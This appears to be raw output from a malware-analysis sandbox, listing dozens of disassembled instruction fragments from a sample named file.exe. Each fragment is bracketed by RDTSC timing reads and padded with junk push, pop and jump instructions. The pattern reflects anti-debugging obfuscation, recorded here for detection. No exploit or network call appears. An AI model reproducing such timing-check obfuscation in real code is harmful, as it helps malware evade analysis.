Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A77F9B second address: A77FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 mov edi, dword ptr [ebp+122D59E8h] 0x0000000e nop 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A78055 second address: A78072 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A78072 second address: A7808B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B6085h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A782FD second address: A78343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ecx, dword ptr [ebp+122D39A9h] 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F0E6551CA38h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov edx, dword ptr [ebp+12450F18h] 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F0E6551CA3Eh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A78343 second address: A78349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A78349 second address: A7834D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A786E1 second address: A786EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A787F1 second address: A787FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F0E6551CA36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A78A36 second address: A78A8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F0E647B6087h 0x0000000e jnc 00007F0E647B6078h 0x00000014 popad 0x00000015 nop 0x00000016 jmp 00007F0E647B6085h 0x0000001b lea eax, dword ptr [ebp+1248C4D4h] 0x00000021 jmp 00007F0E647B607Ch 0x00000026 nop 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A78A8C second address: A59B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA41h 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jno 00007F0E6551CA36h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 jns 00007F0E6551CA54h 0x0000001c nop 0x0000001d mov edi, dword ptr [ebp+122D20C7h] 0x00000023 call dword ptr [ebp+122D306Dh] 0x00000029 jnp 00007F0E6551CA4Ah 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9ADA second address: AB9AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jg 00007F0E647B6076h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9C37 second address: AB9C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA3Ch 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9C49 second address: AB9C57 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0E647B6076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9C57 second address: AB9C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9C5B second address: AB9C65 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0E647B6076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9DE6 second address: AB9DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB9DFF second address: AB9E3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0E647B6084h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F0E647B6090h 0x00000014 jmp 00007F0E647B6088h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABC767 second address: ABC76C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF941 second address: ABF94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF94A second address: ABF950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF950 second address: ABF954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF954 second address: ABF958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF958 second address: ABF95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF95E second address: ABF964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF1C8 second address: ABF1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF1D0 second address: ABF1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF1D4 second address: ABF1E4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0E647B6076h 0x00000008 ja 00007F0E647B6076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF1E4 second address: ABF206 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0E6551CA4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF607 second address: ABF611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0E647B6076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABF611 second address: ABF615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A383FA second address: A383FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC6044 second address: AC6067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Ch 0x00000007 pushad 0x00000008 jmp 00007F0E6551CA42h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC61BE second address: AC61C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0E647B6076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC61C8 second address: AC61CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC61CC second address: AC61D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC61D8 second address: AC621B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F0E6551CA36h 0x00000009 jmp 00007F0E6551CA49h 0x0000000e jmp 00007F0E6551CA48h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC621B second address: AC6240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6087h 0x00000007 ja 00007F0E647B6076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC6240 second address: AC624A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0E6551CA36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC624A second address: AC6250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC6250 second address: AC6274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA48h 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F0E6551CA36h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC6274 second address: AC627A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC652E second address: AC6532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC6532 second address: AC6536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC8EE6 second address: AC8F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0E6551CA3Bh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e jng 00007F0E6551CA50h 0x00000014 jmp 00007F0E6551CA3Bh 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC90CC second address: AC90D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F0E647B6076h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC90D8 second address: AC90E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC9225 second address: AC922D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC922D second address: AC9236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AC9236 second address: AC9240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0E647B6076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACD7EF second address: ACD809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACD809 second address: ACD81E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6081h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDC03 second address: ACDC07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDC07 second address: ACDC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDC0D second address: ACDC18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F0E6551CA36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A785CF second address: A785F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0E647B607Ah 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007F0E647B607Ch 0x00000014 js 00007F0E647B6076h 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDDB4 second address: ACDDB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDDB9 second address: ACDDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDF3F second address: ACDF45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDF45 second address: ACDF49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACDF49 second address: ACDF65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACE992 second address: ACE9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B607Bh 0x00000009 jmp 00007F0E647B6087h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ACE9B9 second address: ACE9D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0E6551CA36h 0x0000000a jmp 00007F0E6551CA44h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD3BA2 second address: AD3BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4061 second address: AD408C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0E6551CA3Dh 0x0000000f pop ecx 0x00000010 push eax 0x00000011 jmp 00007F0E6551CA3Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F0E6551CA36h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD432E second address: AD4334 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4334 second address: AD4357 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F0E6551CA38h 0x00000010 pushad 0x00000011 jmp 00007F0E6551CA3Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4357 second address: AD435D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD435D second address: AD4362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4362 second address: AD4368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4368 second address: AD436C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD436C second address: AD4372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4372 second address: AD437C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD4660 second address: AD468C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B607Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F0E647B6078h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 jmp 00007F0E647B607Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD468C second address: AD4697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD5425 second address: AD542B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD542B second address: AD543A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F0E6551CA36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD543A second address: AD5440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD5440 second address: AD544A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD544A second address: AD5468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B6084h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ADA3B1 second address: ADA3B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ADA3B5 second address: ADA3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0E647B6076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ADA3C1 second address: ADA3C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD9605 second address: AD9609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD98C3 second address: AD98C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD98C8 second address: AD98CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD98CE second address: AD98D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD98D6 second address: AD98DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD9BA6 second address: AD9BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD9BB0 second address: AD9BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AD9BB6 second address: AD9BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0E6551CA40h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ADA01D second address: ADA021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ADA021 second address: ADA06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0E6551CA3Ah 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 je 00007F0E6551CA36h 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 jne 00007F0E6551CA50h 0x00000026 push edx 0x00000027 jl 00007F0E6551CA36h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE73EB second address: AE73F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5CAD second address: AE5CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5F9B second address: AE5FB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0E647B607Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FB3 second address: AE5FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FB7 second address: AE5FBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FBB second address: AE5FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE5FC1 second address: AE5FC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AE6257 second address: AE6270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA43h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
